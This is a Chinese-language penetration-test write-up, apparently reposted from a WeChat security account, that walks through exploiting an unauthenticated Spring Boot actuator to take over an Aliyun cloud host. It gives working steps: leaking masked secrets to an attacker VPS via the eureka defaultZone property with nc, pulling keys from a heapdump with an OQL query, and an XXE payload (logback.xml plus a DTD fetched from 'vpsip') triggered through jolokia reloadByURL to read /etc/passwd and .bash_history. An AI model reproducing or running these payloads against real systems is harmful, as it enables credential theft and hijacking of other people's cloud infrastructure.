实战 | 一次 springboot未授权到云主机接管

0收藏

0点赞

浏览量:356

2021-12-02

举报

在一次项目测试中发现一个站点存在如下页面


看来是springboot框架构建的网站,使用dirseach扫一波

可以看到能访问/env、/dump目录,明显存在springboot未授权漏洞
可以看到springboot的环境变量,但是像accessKeySecret这种字段都已经被打码了,要是能知道accessKeySecret这个字段的值,便有可能接管阿里云托管的主机。

那么要获取带星号字段的值有两种方法。

方法一:
通过post方法传递带星号的明文值到自己的vps上查看

利用方法

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80

设置 eureka.client.serviceUrl.defaultZone 属性。  

将下面

http://value:${security.user.password}@your-vps-ip中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;

your-vps-ip 换成自己外网服务器的真实 ip 地址。



但在目标网站中,并不支持post方法,返回405状态码,那只能用第二种方法了。


方法二:

从内存文件中读取带星号的明文

访问http://xxx/heapdump下载内存文件。
这时候就可以利用 Eclipse Memory Analyzer 工具(下载地址:https://www.eclipse.org/mat/downloads.php)
来分析 /heapdump 或 /actuator/heapdump 接口下载的 jvm heap 信息,查找阿里云密钥明文。
使用 Eclipse Memory Analyzer 直接打开下载的 heapdump 文件,点击OQL 标签



在查询框中输入
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains
("aliyun"))
然后点击红色感叹号执行查询
便能模糊搜索到关于aliyun密钥相关的信息
拿到阿里云的accessKeyId和accessKeySecret后,
到行云管家
(https://yun.cloudbility.com/login.html)中输入相应密钥,便会自动调用阿里云api接管云主机

因为该站点还暴露了jolokia/list,
查看jolokia/list中存在的 Mbeans,并且存在logback 库提供的reloadByURL方法,可以利用jolokia/list接口进行xxe漏洞
漏洞url: http:/xxx.com.cn/actuator/jolokia/list
创建logback.xml和fileread.dtd文件
logback.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vpsip/fileread.dtd">%remote;%int;]>
&trick;
fileread.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

将上面文件上传到公网VPS上并且开启http服务
命令:python -m SimpleHTTPServer 80

远程访问logback.xml文件
http://xxx.com.cn/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vpsip!/logback.xml
成功利用xxe读取到etc/passwd文件内容

利用该漏洞读到了/.bash_history这个文件,该文件记录了过去用户输入的命令行
翻越命令行,找到了接管阿里云的accesskeyid和accessSerect


(来源:HACK之道)

(原文链接:https://mp.weixin.qq.com/s/tDEZmtUsUBsAJFP4umJMqA

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安&nbsp;Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP